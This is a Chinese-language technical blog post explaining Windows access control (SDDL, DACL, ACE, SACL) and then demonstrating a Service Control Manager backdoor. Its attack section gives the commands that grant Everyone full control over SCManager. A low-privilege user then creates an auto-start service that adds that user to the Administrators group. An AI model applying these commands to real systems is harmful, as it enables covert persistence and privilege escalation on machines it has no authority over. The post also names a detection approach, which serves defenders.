Malware Dev 02 - Windows SDDL 后门利用之 SCManager
写在最前
如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:
https://discord.gg/9XvvuFq9Wb
我拥有 OSCP,OSEP,OSWE,OSED,OSCE3,CRTO,CRTP,CRTE,PNPT,eCPPTv2,eCPTXv2,KLCP,eJPT 证书。
所以,我会提供任一证书备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~
背景
看到 Grzegorz Tworek(@0gtweet)的有关于 SDDL 后门利用的推文,感觉非常新奇。所以花时间学习了一下 SDDL,并且动手实践了一下 SCManager 的利用。
Windows 的访问控制(或者就是权限管理)让人摸不着头脑(想象 Linux 真的是单纯又简单),一会儿 SDDL,一会儿 ACL,一会儿 ACE,一会儿 DACL,一会儿 SACL,一会儿安全描述符(Security Descriptors),这些都是什么东西。这篇文章,我们一起浅析一下 Windows 访问控制(Access Control)。
其实不用被这么多术语所迷惑,等我们接下来用实际的例子把 SDDL 解释一遍,整个 Windows 访问控制就基本上清晰了。
在对 Windows SDDL 权限管理有一定的了解之后,我们再一起看一下对于 SDDL 的后门利用。
Windows 访问控制列表(Access Control List)
定义
Windows 访问控制,或者通常就叫权限,是随处可见的。每一个文件,每一个文件夹,甚至每一个注册表的键值,每一个服务,都有各自的权限(Permissions)。
每个用户,或者组,对于一个文件的权限。
每个用户,或者组,对于一个文件夹的权限。
每个用户,或者组,对于一个注册表键值对的权限。
以上看到的内容,就是 Windows 中,一个用户,或者组的 Access Control List(访问控制列表)。这是 GUI 上的样子,那么我们深入到最底层,Access Control List 又是什么样子的呢?
我们来看一下用户或者组,对于一个 Windows 服务的权限。
拿 Print Spooler 服务举例。
sc.exe sdshow Spooler
这就是 Windows 访问控制列表的真实样子。以下红框中的内容,就是本文要剖析的,Windows SDDL 安全描述符定义语言。
看到这里,想必大家会深深爱上 Linux 😄
Access Control List(访问控制列表),是 Windows 整个权限系统的统称。如果有一个包含关系,那么 Access Control List 就是外层最大的那一个圈,包含着接下来讨论的所有概念。
Windows SDDL
定义
SDDL,Security Descriptor Definition Language,是 Windows 中,以 字符串形式 来对一个对象的 安全描述符 做定义的语言。
安全描述符,指的是一种可以表示一个对象的所有者(O),所属组(G),对不同主体(用户,组)所开放的权限(DACL),以及系统审计规则(SACL)的数据结构。如下图。
字符串形式,指的就是 安全描述符 的表现形式。
SDDL,就是用来定义 安全描述符 的语言。
上图红框中过的字符串,就是 Print Spooler 服务的 SDDL 定义。
SDDL 的格式
SDDL 的格式如下:
O:owner_sid
G:group_sid
D:dacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)
S:sacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)
如果 SDDL 以 D 开头,代表着这条 SDDL 定义的是一条 DACL。
如果 SDDL 以 S 开头,代表着这条 SDDL 定义的是一条 SACL。
DACL 和 SACL,都包含着数量不等的 ACE(string_ace)。
每一条 ACE,都包含着 6 个以分号分隔的成员。我们之后会展开细说。
O 和 G 不常出现,也不是我们的重点。
接下来,我们就这里出现的几个新术语,DACL,ACE,SACL,一一做解释。
DACL
定义
DACL, Discretionary Access Control List,中文译为 自由访问控制列表。其实有点不太准确。Discretionary,翻译成 量化,可能更为恰当。量化控制列表,指的就是对于各个不同的主体,我们分别给与了什么样的权限。
我们以 test-file.txt 文件的 SDDL 来举例说明。
cacls test-file.txt /S
D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;S-1-5-21-1230430613-953561775-1632160640-1001)
上一小节说过,如果 SDDL 以字母 D 开头,代表着这条 SDDL 定义的是一条 DACL。
我们接着看一下 DACL 包含什么内容。
ACE
定义
ACE 定义了一个主体对于另一个主体的具体权限。比如用一个用户对一个文件,有读、写权限。这就是一条 ACE。
格式
DACL 包含着数量不等的 ACE(string_ace),每一条 ACE,由圆括号包裹。
之前提到了,每一条 ACE 都包含着 6 个以分号分隔的成员。这些成员的信息如下:
ACE type (allow/deny/audit);ACE flags (inheritance and audit settings);Permissions (list of incremental permissions); ObjectType (GUID);Inherited Object Type (GUID);Trustee (SID)
下图中每一个红框中,代表的就是这个 DACL 中的 一条 ACE。
这个 DACL 共有 3 条 ACE,这和 GUI 中的信息是如何对应的呢?
这是 test-file.txt 的 Access Control List。
下图 DACL 中的三条 ACE,就是上图红框中的三个主体,以及绿框中的具体权限,在 SDDL 中的体现。
那么这些 GUI 上的具体权限,与 ACE 中的 6 个成员是如何对应的呢?
这里,就引出几张表,大家一看就明白了。图片中列出了每一个成员的可能值,以及解释。在图片之后,我们将对几个 ACE 对应着表格,做一个比对。
ACE 成员 1,ACE Type:
ACE 成员 2,ACE Flags:
ACE 成员 3,Permissions:
ACE 成员 4,Object Type 。如果存在,会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。
ACE 成员 5,Inherited Object Type 。如果存在,会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。
ACE 成员 6,Trustee:
我们参照图片,来翻译一下第一条 ACE 的意思。
第一个条 ACE:
(A;;FA;;;SY)
解释:
// ACE Type
A -> Access Allowed,该用户的被允许访问该文件// ACE Flags
空// Permissions
FA -> File All Access,该用户对这个文件有完全控制权(增删改)// Object Type
空// Inherited Object Type
空// Trustee
SY -> 这条 ACE 被赋予 Local System
Local System 可以访问 test-file.txt,并对该文件有完全控制权(Full Control)。
在 GUI 中验证一下。
没有问题。
其他的 ACE,大家可以参照上面的图片,自行翻译。
SACL
定义
SACL,System Access Control List,是用于 Windows 主体的被访问结果审计的。可以生成关于一个主体访问成功与否的日志。
作用
这个概念不是重点,我们演示一下即带过。
为 test-file.txt 增加 SACL。
首先添加本地对象审计策略。
Local Security Policy -> Local Policies -> Audit Policy -> Audit object access.
选择 Success,Failure。点击 Apply 生效。
右键 test-file.txt,选择 Advanced。
选择 Auditing。然后点击 Continue。
选择 Add。
选择 Select a principal 添加主体。
我们增加自己到 SACL。
在 Type 下拉框中选择要审计的访问结果。这里我们选择 Success 做演示。
最后选择 OK 完成 SACL 添加。
点击 Apply 使 SACL 生效。
然后打开 Event Viewer -> Windows Logs -> Security,点击右侧 Filter Current Log…
增加 4663,4656 为过滤事件 ID。
打开一下 test-file.txt,在 Event Viewer 中就可以看到被系统记录的日志信息。
接下来说重点。
在理解了 Windows Access Control 以及 SDDL 之后。我们看一下红队如何利用 SDDL 做后门。
Windows SDDL Backdoor
“Admin rights is not the end, it’s just the beginning.”
拿到了 Admin 权限,这在红队中只是个开始。做后门的功夫决定了权限维持的效果。
今天说了那么多,就是要利用 Windows SDDL 做一个后门。
SCManager
我们之前说的,Windows 中的每一个主体,都有相应的访问控制列表。
这里的思路,是修改这个主体的 SDDL,让特定的主体,对其有完全控制的权限。
候选人,就是 SCManager。SCManager是服务相关的管理工具。服务的创建,运行都依赖 SCManager。psexec 也是调用 SCManager 来启动服务的。
这里使用一个非 Admin 账户来演示整个过程。
SCManager Backdoor
首先我们看一下 SCManager 默认的访问控制设置。
ConvertFrom-SddlString -Sddl $(sc.exe sdshow scmanager | select -last 1) | select -Expand DiscretionaryAcl
可以看到地权限的 Authenticated Users,是只有 ListDirectory 权限的。意味着地权限用户是无法创建,并运行一个服务。
我们验证一下。
添加一个低权限用户。
确认一下 SCManager 访问控制是默认配置。
我们尝试用地权限用户创建一个服务。
sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\notepad.exe" start= auto
一巴掌直接糊连上,告诉你你没有权限。
那么我们尝试修改一下 SCManager 的访问控制,将其修改为 Everyone 都能有完全控制权限。
sc sdset scmanager D:(A;;KA;;;WD)
对照附录的 ACE 成员表,这个 ACE 的意思是:
- D: 这是一个 DACAL 定义
- A 允许访问
- KA 访问权限为 Key All Access
- WD 访问权限被赋予 Everyone 组
意思是 Everyone 都能对 SCManager 的注册表值进行更改,也就是能任意创建服务,并以 System 身份运行。
为什么是注册表我们等下会看到,创建的服务都在 HKLM\SYSTEM\CurrentControlSet\Services 键下面。
以下是设置结果,注意这个命令需要 Admin 权限。
sc sdset scmanager D:(A;;KA;;;WD)
查看一下现在 SCManager 的访问控制权限 SDDL。
Everyone 已经对 SCManager 有完全控制权限。
我们再次尝试用低权限账户创建一个服务。
sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\notepad.exe" start= auto
成功创建服务。可以在注册表中找到新创建的服务。
我们可以创建服务,但是是无权启动服务的。我们只能设置服务为自动启动,那么等待用户重启电脑的时候,就能执行后门程序。
我们尝试添加地权限用户到 Admin 组。
sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\net.exe localgroup Administrators woohoo /add" start= auto
重启电脑。
shutdown /r /t 0
重启之后,用户在 Admin 组下。
就可以以 Admin 身份运行任意程序了。
总结
这篇文章对 Windows SDDL 做了简单的解释,同时提供了一种 SDDL 的利用方式。
进攻方可以发散思维,利用 SDDL 和 SCManager 做更加隐秘的权限维持。
防守方可以使用 Sigma, 对 sdset SCManager 权限进行设置的行为进行检测。
另外在实践过程中发现,虽然说可以创建服务,但是对于注册表的 SDDL 中,是不带 Key Delete 权限的。所以低权限用户是无法删除服务的。
因此操作要谨慎,一旦创建,只有 Admin 账户可以删除该服务。
以此文提供更多的红队思路。
附录
ACE 成员一览
ACE 成员 1,ACE Type:
ACE 成员 2,ACE Flags:
ACE 成员 3,Permissions:
ACE 成员 4,Object Type 。如果存在,会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。
ACE 成员 5,Inherited Object Type 。如果存在,会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。
ACE 成员 6,Trustee:
参考链接
- https://learn.microsoft.com/en-us/archive/msdn-magazine/2008/november/access-control-understanding-windows-file-and-registry-permissions
- http://waynes-world-it.blogspot.com/2008/03/sddl-syntax-in-secedit-security.html
- https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
- https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
- https://learn.microsoft.com/en-us/windows/win32/secauthz/security-identifiers
- https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptors
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_c189801e-3752-4715-88f4-17804dad5782
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_d727f612-7a45-48e4-9d87-71735d62b321
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ec52bde3-9c86-4484-9080-e72148a2d53b
- https://www.installsetupconfig.com/win32programming/accesscontrollistacl1.html
- https://learn.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
- https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/access-control
- https://www.winhelponline.com/blog/view-edit-service-permissions-windows/
- https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
- https://learn.microsoft.com/en-us/windows/win32/secgloss/s-gly
- https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/apply-a-basic-audit-policy-on-a-file-or-folder
- https://learn.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
- https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/create-user-defined-service
相关文章:
Malware Dev 02 - Windows SDDL 后门利用之 SCManager
写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里: https://discord.gg/9XvvuFq9Wb我拥有 OSCP,OSEP,OSWE,OSED&…...
每日一题29——山峰数组的顶部
符合下列属性的数组 arr 称为 山峰数组(山脉数组) : arr.length > 3 存在 i(0 < i < arr.length - 1)使得: arr[0] < arr[1] < ... arr[i-1] < arr[i] arr[i] > arr[i1] > ... &g…...
Linux- 系统随你玩之--好用到炸裂的系统级监控、诊断工具
文章目录1、前言2、lsof介绍2.1、问题来了: 所有用户都可以采用该命令吗?3、 服务器安装lsof3.1、安装3.2、检查安装是否正常。4、lsof 命令4.1、常用功能选项4.2、输出内容4.2.1 、FD和 TYPE列5、 lsof 命令实操常见用法6 、常用组合命令7、 结语1、前言…...
第十三节 继承
什么是继承? java中提供一个关键字extends,用这个关键字,我们可以让一个类和另一个类建立父子关系。 public class Student extends People{} student为子类(派生类),people为父类(基类或者超类…...
【优化】性能优化Springboot 项目配置内置Tomcat使用Http11AprProtocol(AIO)
Springboot 项目配置内置tomcat使用Http11AprProtocol(AIO) Windows版本 1.下载Springboot对应版本tomcat包 下载地址 Apache Tomcat - Apache Tomcat 9 Software Downloads 找到bin目录下 tcnative-1.dll 文件 2 放到jdk的bin目录下 Linux版本 在Springboot中内嵌的Tomcat默…...
SpringBoot之@ConfigurationProperties、@EnableConfigurationProperties
ConfigurationProperties 这个注解不仅可以为yml某个类注入还可以为第三方bean绑定属性 为yml某个类注入 只要将对应的yml类对象声明实体pojo并交给spring容器管理,再在类上使用ConfigurationProperties绑定对应的类名即可 涉及到两个知识点,这个类对…...
数组一次性删除多条数据
需求描述 最后提交时删除表格中的空行 实现方法 单行删除 - 并不是一次性删除 表格每行的最后设置删除按钮,点击时将当前行的索引传递给方法,splice 删除当前行。 <el-table :data"tableData" class"myTable" border>..…...
相机删除照片如何恢复?一键解决它
相机删除照片如何恢复?喜欢用相机拍照的人,总会在空闲时多拍几张,这使我们相机中会储存大量的、各种各样的照片。等到回家后,在进行删除,并选出比较好的照片。但也很容易就误删了一些好看的照片。碰到这种意外事&#…...
vue3搭建教程(基于webpack+create-vue+ element-plus)
前言使用vue脚手架搭建vuetswebpack项目搭建步骤:下载node 版本可以 12 或者14或者 16.0,此次使用的>16.0版本,vue-cli通过npm i -g vue/cli 升级到了 vue cli v5.0.8建目录,如(vue3Study)用IDE工具打开…...
代码随想录算法训练营第四十二天 | leetcode 1049. 最后一块石头的重量 II,494. 目标和,474.一和零
代码随想录算法训练营第四十二天 | leetcode 1049. 最后一块石头的重量 II,494. 目标和,474.一和零1049. 最后一块石头的重量 II494. 目标和474.一和零1049. 最后一块石头的重量 II 题目: 有一堆石头,每块石头的重量都是正整数。…...
Java8中Lambda表达式之Collection 的常见用法
背景 在java8中引入了Lambda表达式。其实,他就是一个匿名函数。我们经常会用到一些循环遍历,起始完全就可以通过Lambda来简化我们不必要的操作,下面我们来看一下Lambda常用的方法。 准备条件 DataBuilderprivate static class Person {priv…...
SpringCloud系列知识快速复习 -- part 2(Sentinel微服务保护,Seata分布式事务,Redis分布式缓存和多级缓存)
SpringCloud系列知识快速复习 -- part 2(Sentinel微服务保护,Seata分布式事务,Redis分布式缓存和多级缓存Sentinel微服务保护什么是雪崩问题?解决方法服务保护技术对比流量控制簇点链路Sentinel流控模式流控效果热点参数限流隔离和…...
设置CentOS7的时间与网络同步
1.设置时区为北京时间 [rootlocalhost ~]# timedatectl set-timezone Asia/Shanghai 2.查看系统时间 [rootlocalhost ~]# timedatectl Local time: 四 2023-03-02 17:40:41 CST #系统时间 Universal time: 四 2023-03-02 09:40:41 UTC …...
java开发手册之编程规约
文章目录编程规约命名风格常量定义代码格式OOP规约集合处理并发处理控制语句注释规约其它编程规约 命名风格 1.代码中的命名均不能以下划线或者美元符号开始,也不能以下划线或者美元符号结束 例如:_name | name__ | name$ | $name2.代码中的命名严…...
Camera | 5.Linux v4l2架构(基于rk3568)
上一篇我们讲解了如何编写基于V4L2的应用程序编写,本文主要讲解内核中V4L2架构,以及一些最重要的结构体、注册函数。 厂家在实现自己的摄像头控制器驱动时,总体上都遵循这个架构来实现,但是不同厂家、不同型号的SoC,具…...
机房PDU如何挑选?
PDU PDU(Power Distribution Unit,电源分配单元),也就是我们常说的机柜用电源分配插座,PDU是为机柜式安装的电气设备提供电力分配而设计的产品,拥有不同的功能、安装方式和不同插位组合的多种系列规格,能为不同的电源环境提供适合的机架式电源分配解决方案。PDU的应用,…...
lab备考第二步:HCIE-Cloud-Compute-第一题:FusionCompute
第一题 FusionCompute 一、题目介绍 1.1. 扩容CAN节点与对接共享存储(必选) 题目及【考生提醒关键点】 扩容一台CNA节点,配置管理地址设置为:192.168.100.212。密码设置为:Cloud12#$。【输入之前确认自己的大小写是否…...
js-cookie和vue-cookies(Cookie使用教程)
简述:js-cookie和vue-cookies都是vue项目中的插件,下载相关依赖后,可以用来存储、获取、删除Cookie等操作,思路相同,操作时稍有不同,当然也可以用原生js来获取Cookie; ⭐ js-coo…...
开创高质量发展新局面,优炫数据库助推数字中国建设
最新印发《数字中国建设整体布局规划》,建设数字中国是数字时代推进中国式现代化的重要引擎,是构筑国家竞争新优势的有力支撑。 数字中国建设按照“2522”的整体框架进行布局,即夯实数字基础设施和数据资源体系“两大基础”,推进…...
【项目实战】为什么我选择使用CloseableHttpClient,而不是HttpClient,他们俩有什么区别?
一、HttpClient介绍 HttpClient是Commons HttpClient的老版本,已被抛弃,不推荐使用; HttpClient是一个接口,定义了客户端HTTP协议的操作方法。 它可以用于发送HTTP请求和接收HTTP响应。 HttpClient接口提供了很多方法来定制请求…...
Spark 内存运用
RDD Cache 当同一个 RDD 被引用多次时,就可以考虑进行 Cache,从而提升作业的执行效率 // 用 cache 对 wordCounts 加缓存 wordCounts.cache // cache 后要用 action 才能触发 RDD 内存物化 wordCounts.count// 自定义 Cache 的存储介质、存储形式、副本…...
SpringBoot集成Swagger3.0(入门) 02
文章目录Swagger3常用配置注解接口测试API信息配置Swagger3 Docket开关,过滤,分组Swagger3常用配置注解 ApiImplicitParams,ApiImplicitParam:Swagger3对参数的描述。 参数名参数值name参数名value参数的具体意义,作用。required参…...
网络协议丨ICMP协议
ICMP协议,全称 Internet Control Message Protocol,就是互联网控制报文协议。我们其实对它并不陌生,我们平时经常使用的”ping“一下就是基于这个协议工作的。网络包在异常复杂的网络环境中传输时,常常会遇到各种各样的问题。当遇…...
12.1 基于Django的服务器信息查看应用(系统信息、用户信息)
文章目录新建Django项目创建子应用并设置本地化创建数据库表创建超级用户git管理项目(requirements.txt、README.md、.ignore)主机信息监控应用的框架搭建具体功能实现系统信息展示前端界面设计视图函数设计用户信息展示视图函数设计自定义过滤器的实现前…...
ExSwin-Unet 论文研读
ExSwin-Unet摘要1 引言2 方法2.1 基于窗口的注意力块2.2 外部注意力块2.3 不平衡的 Unet 架构2.4 自适应加权调整2.5 双重损失函数3 实验结果3.1 数据集3.2 实现细节3.3 与 SOTA 方法的比较3.4 消融研究4 讨论和限制5 结论数据集来源: https://feta.grand-challenge…...
置顶!!!主页禁言提示原因:在自己论坛发动态误带敏感词,在自己论坛禁止评论90天
置顶!!!主页禁言提示原因:在自己论坛发动态误带敏感词,在自己论坛禁止评论90天 置顶!!!主页禁言提示原因:在自己论坛发动态误带敏感词,在自己论坛禁止评论90天…...
优思学院|解密六西格玛:探索DMAIC和DMADV之间的区别
六西格玛方法中最为广泛使用的两种方法是DMAIC和DMADV。这两种方法都是为了让企业流程更加高效和有效而设计的。虽然这两种方法有一些重要的共同特点,但它们并不可以互相替代,并且被开发用于不同的企业流程。在更详细地比较这两种方法之前,我…...
Pytorch的DataLoader输入输出(以文本为例)
本文不做太多原理介绍,直讲使用流畅。想看更多底层实现-〉传送门。DataLoader简介torch.utils.data.DataLoader是PyTorch中数据读取的一个重要接口,该接口定义在dataloader.py脚本中,只要是用PyTorch来训练模型基本都会用到该接口。本文介绍t…...
代谢组学:Microbiome又一篇!绘制重症先天性心脏病新生儿肠道微生态全景图谱
文章标题:Mapping the early life gut microbiome in neonates with critical congenital heart disease: multiomics insights and implications for host metabolic and immunological health 发表期刊:Microbiome 影响因子:16.837…...
Java基本类型所占字节简述
类型分类所占字节取值范围boolean布尔型1bit0 false、 1 true (1个bit 、1个字节、4个字节)char 字符型(Unicode字符集中的一个元素) 2字节-32768~32767(-2的15次方~2的15次方-1)byte整型1字节-128&a…...
wordpress post_id/北京网站推广排名服务
这堪称是史上最强的相机植入式广告。在1000泰铢纸币上,我们可以看到泰王拉玛九世陛下手中拿着相机的画面。令人好奇的是,他手中的相机会是什么型号呢? 实际上,这个话题前两年在日本网友中就已引起热烈讨论,后来有人称钞…...
ugg网站vps主机/seo搜索引擎优化工资多少钱
1. Map对象 ES6提供了新的数据结构Map,Map结构提供了“值—值”的对应,是一种更完善的Hash结构实现。如果你需要“键值对”的数据结构,Map比Object更合适。它类似于对象,也是键值对的集合,但是“键”的范围不限于字符串…...
做病毒和木马的培训网站/投诉百度最有效的电话
转载于:https://www.cnblogs.com/biyusoft/archive/2011/07/17/3432061.html...
网页设计制作网站开发建设新手建站基础入门到精通视频教程/汕头seo推广优化
Redis 在 3.2 版本以后增加了地理位置 GEO 模块,意味着我们可以使用 Redis 来实现摩拜单车「附近的 Mobike」、美团和饿了么「附近的餐馆」这样的功能了。 用数据库来算附近的人地图元素的位置数据使用二维的经纬度表示,经度范围 (-180, 180],…...
广州网站建设o2o/新东方英语培训机构官网
说到文件大小,刚好常有人问我说MySQL是否有单个表的大小限制?限制多大呢?这里做一个简单的介绍吧。 在老版本的MySQL 3.22中,MySQL的单表限大小为4GB,当时的MySQL的存储引擎还是ISAM存储引擎。但是,当出现…...
虚拟云手机免费永久/湖南seo优化按天付费
平时开发中if-else用的多吗?其实这是个再正常不过的coding习惯,当我们代码量小的时候用来做条件判断是再简单不过的了。但对于优秀程序员来说,这并不是好代码,为啥?抛开剂量谈毒性都是耍流氓在使用条件判断语句的地方&…...